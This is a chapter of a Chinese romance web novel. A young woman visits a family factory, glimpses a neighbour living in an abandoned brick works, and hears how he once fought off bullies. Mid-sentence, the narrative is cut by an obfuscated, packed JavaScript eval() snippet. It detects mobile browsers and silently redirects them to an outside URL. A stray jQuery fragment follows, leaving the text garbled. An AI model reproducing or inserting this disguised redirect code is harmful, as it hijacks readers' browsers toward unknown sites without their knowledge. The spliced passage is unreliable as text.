陈记不知道这件事到底有什么隐情,但她从来不会对别人的事刨根问底。
她有很强的边界感。
这种强烈的边界感甚至让她看起来有些冷漠。
就像刘超因为给她情书的事情被同学嘲笑,但她却从来没听说过,或者听说了也没放在心上,她甚至不记得刘超这个名字。
她在自己划定的圈子和目标里行动,不在乎任何跟她萍水相逢的人和事。
从某种程度上来说,她的确辜负了这份真诚的心意。
郭旭扬没有再提刘超的事,带着陈记从前院绕到后面的厂房。
两个人一路沉默,郭旭扬偶尔介绍两句,陈记也礼貌回应。
走到厂房侧面的时候,陈记脚步顿了顿。
面前有一个窄长的院子,用铁艺的竖向栅栏围着,围栏看着不高,又是镂空的,所以院子的空间感受并不狭窄。
再往前,走到院子中间位置的时候,就可以看见一个方正的小池塘,里面养了几条锦鲤。池塘边上有一棵高大的香樟树,树冠很大,茂密的枝桠伸到了栅栏外,绿色的浓荫下面是两张石凳。
她本来就没那么想在大太阳底下走,于是开口:“能在这坐会吗?看着挺凉快的。”
“行,”郭旭扬说,“你在这里坐一下,我去拿两瓶水来。”
陈记走到石凳边坐了下来。
阳光从浓荫的缝隙里漏了下来,在她的衣服上洒下了斑驳的光影。
陈记双手撑在两侧,微微眯上双眼。
此时此刻此地,只有阳光与寂静,伴随着嘶鸣的蝉声和鱼儿偶尔跃出水面的叮咚声。
她就这样静静地感受了几分钟,刚才那种委屈又憋闷的感觉消散不少。
陈记睁开眼睛,翻开手机盖,打开相机功能。
举起手机扭着身子,准备录了一圈视频。
从斑驳的光影,到有锦鲤的小池塘,再到镂空的栅栏,再到——
一颗金黄的头。
陈记的手悬在空中。
对方倏尔侧头。
那双有些熟悉的眉眼冷淡地扫了过来,在手机屏幕里与她对视。
陈记不知不觉按了放大焦距。
一阵微风刮过,树叶簌簌地响了起来。
“水拿来了,我们估计坐一会就得走了。”郭旭扬的声音突然从身后冒出来。
眼前的人移开目光。
陈记有些慌乱地扣下手机盖。
“欸,铭哥,出门呐?”郭旭扬的声音又响起了。
陈记惊愕地转头。
“嗯。”栅栏外的人淡淡了回应了声。
陈记再回头的时候,就发现苏芮铭已经迈着步子离开了,微风掀起他洗到有些泛白的衣摆。
“你认——”陈记停顿一下,换了一个说法,“他是谁啊?”
“算是邻居吧,”郭旭扬把水递给陈记,指了指路对面,“看到那边的砖厂吗?他就住那里面。”
陈记顺着郭旭扬指的方向望去,只能看到一长条围墙和一个细长的烟囱。
围墙上的混凝土涂面已经剥落不少,露出坑坑洼洼的红砖墙面,墙根爬满了半米的杂草。烟囱又细又长的矗在围墙的后面,上半部分已经焦黑,但是没有黑烟冒出。
“看上去不太像能住人的样子。”陈记迟疑地说。
“他住砖厂的库房里,”郭旭扬拧开瓶盖,喝了一口水,“而且砖厂前几年就倒闭了。”
“倒闭了?“陈记转头望向郭旭扬,“倒闭了不就是废厂子,不是更不能住人吗?”
“有些人是没有选择的,”郭旭扬叹了一口气,“比如铭哥。”
“什么意思,他怎么了?”陈记的心脏猛跳了一下。
“我认识铭哥的时候,铭哥就跟他爷爷一起住在砖厂的库房里。当时砖厂还很红火,铭哥的爷爷就带着铭哥看库房,还能有个地方住。后来几年说是红砖生产影响生态,砖厂就倒闭了,没过多久铭哥爷爷也走了,就剩铭哥一个。一个学生也没别的地方去,就继续住库房了。”郭旭扬有些唏嘘。
“他爸妈呢?”
“不知道,我认识他的时候他身边就只有他爷爷,”郭旭扬低下头,伸脚蹭了蹭地面,“其实我上了初中后也很少来厂里这边,也很少见到铭哥了。”
郭旭扬似乎想到了什么往事,说完这句话就沉默了。
蝉的嘶鸣声似乎更响了。
陈记知道自己应该有边界感的停止追问,可偏偏她感觉心里被压上了一大块重石,不追问好像那块重石就会一直压着似的。
她还是开了口:“你是想到什么了吗?”
或许是因为郭旭扬之前回避过了一个更难回答的问题,或许是因为他对于自己之前向陈记发泄脾气而感到抱歉,又或许只是因为此时此刻此地很适合回忆。
郭旭扬静了一会儿,抬起头,目光望向栅栏外。
“我小学的时候个子很矮,也很瘦,家里又是开厂子的,我妈会给我不少零花钱。我们小学又不像你们大厂区的子弟学校比较规范,我们那边就是十里八方的什么人都涌在一起,高年级的人就盯上我了。有一段时间我每天都会被抢钱,一开始是零花钱,后来连早饭钱都被抢走。不给的话,会挨一顿揍,大冬天的时候衣服会被扒下来。”
郭旭扬讲到这里的时候停了下来,深深地吐了一口气,才接着说:“然后被按着,背紧贴着墙壁罚站。”
“你爸妈和学校老师不管吗?”陈记觉得有点难受,没忍住打断。
“那个时候年纪小,被威胁告了老师会被打得更惨,所以一直没给老师说,”郭旭扬顿了一下,“至于我爸妈,那个时候厂子刚起步,他们每天忙得很,我见都见不到他们,有时候刚要张嘴说,他们就拿着包匆匆离开家了。这样的次数多了,后来我也就放弃了。”
“那个时候我一度不想要上学了,直到——”郭旭扬握住矿泉水的手紧了紧,“遇见了铭哥。”
“那天特别冷,那几个高年级的人似乎心情很差,我把早饭钱交了后,他们就让我脱掉衣服贴着墙站,我那个时候都觉得要死了,浑身冻得僵硬,眼睛也睁不开。模模糊糊看见一个人挥舞着棍子,过了一会儿我的身上就被扔了一件外套。回了一会儿温后我就捡起地上的其余的衣服穿上了。”
郭旭扬把矿泉水放在身侧,闭了闭眼睛。
“视野清晰的时候,就看见了铭哥。当时他一身血污,棉衣也被刮了几大道缝,棉花从缝隙里挤出,握着一根棍子,佝偻着身体喘着粗气。”
陈记微微张开嘴:“他受伤了?”
“受伤了,不过不严重。反而是高年级的同学被他打跑了。”
“他打架很厉害吗?”陈记问。
“与其说是厉害,”郭旭扬思考了一个措辞,“不如说是不要命。”
“不要命?”陈记有些心惊。
“我也是后来才知道的,以前我和他就是同学,也不能怎么说话。那天他帮了我后也没说什么直接离开了,可是第二天我看他竟然还是穿着划烂的棉衣。我就想着把我的棉衣分给他了两件,反正我妈买衣服买一堆,也不管我合身不合身。”
郭旭扬自嘲地笑了下,才接着说:“一开始他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15992815|178019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不肯要,后来我说让他每天跟我一起上下学,拦住高年级的人,他才接受。过了几天,那几个高年级的人又来堵我们。铭哥就像没有痛觉一样一点也不闪避,捡起棍子就往他们身上抡,受伤了也毫不在意,眼里没有一点温度,我甚至都被吓到了。”
“你也被吓到了?“
“嗯,但是我更怕那些高年级的人,我更怕自己又光着身子站在雪地里。”郭旭扬甚至手手抖了一下。
“后来呢?“陈记感觉自己翻开了苏芮铭的一页,但其实又什么都不知道。
“后来?”郭旭扬冷笑了一声,有些许激动,不知道在嘲讽自己还是谁,“后来我考上了一中,家里搬到了城里,我一年回不了这里几次,我又一次扔掉了我的朋友。”
“你——”
陈记刚开口,电话铃声就响了起来。
郭旭扬接了电话,陈记只听到“嗯好的,马上过去。”
“我妈说他们聊好了,让我们过去。”郭旭扬的声音已经恢复正常。
陈记知道这个话题只能暂时停在这里了。
她起身的时候又看向了栅栏外斑驳的围墙和黢黑的烟囱。
陈记和郭旭扬到前院的时候,吕凌她们正好从楼里出来。
“你们聊什么了?”赵梅还是一副笑容满面的样子。
“聊出国。”
陈记和郭旭扬同时开口,两人对望一眼同时闭了嘴。
“挺好挺好,不过你们才大一,也不着急。”赵梅笑了笑说。
陈记和郭旭扬分别坐上了自己家的车,准备开往枚山。
“这赵梅和郭茂春真会做生意。”吕凌刚系好安全带就开始吐槽。
“什么?”陈记扣好安全带抬起头。
“今天临了了加价,本来说早上签个合同完事的,耽误半天,大家之前明明合作很多次了。”吕凌没好气的说。
“加成功了吗?”陈记问。
“当然没,也不看你妈是谁。”吕凌有些得意。
“那你们今早是真的有合同要谈?”陈记仰靠在椅背上。
“当然,不然你以为我骗你?”
“我确实以为。”陈记小声反驳。
陈峰山在驾驶座上笑了起来。
“别笑了老陈,好好开车,”吕凌嗔怪了一下,接着往后侧头说,“确实有一点让你们单独处一下的意思,想着你们反正规划一样,又是一个地方的。不刚好能互相照应一下吗?”
“我才19岁,妈妈,”陈记在后座偷偷翻了个白眼,“而且我有能力自己完成自己的规划。”
“好好好,也没强求你们怎么样,就多一个照应的朋友。”吕凌说。
“好的,我困了,到了喊我。“陈记把眼睛闭上。
“啧。”吕凌还想说什么,到底没张口。
陈记一开始是装睡,时间久了真睡着了,迷迷糊糊的还做了个梦。梦见一个穿着破破烂烂的小男孩满身是血,一会儿不要命似地挥着棍子,又一会儿住着一个四面漏风的破房子,青紫的手握着笔做题。
直到陈峰山喊她下车。
她才发现自己真睡了一路。
山脚下的温度已经比城里低了不少,空气也清新不少,陈记深深吸了一口气,又缓慢地吐了出来,脑子清醒了不少。
因为早上耽搁的时间有点久,爬到小一半路程的时候两家人就往回走了。
吕凌和赵梅他们四个大人倒是玩得挺开心的,陈记和郭旭扬都有点心不在焉,被安排拍照的时候才扯一扯嘴角。
两家大人琢磨好久的爬山活动就这么结束了。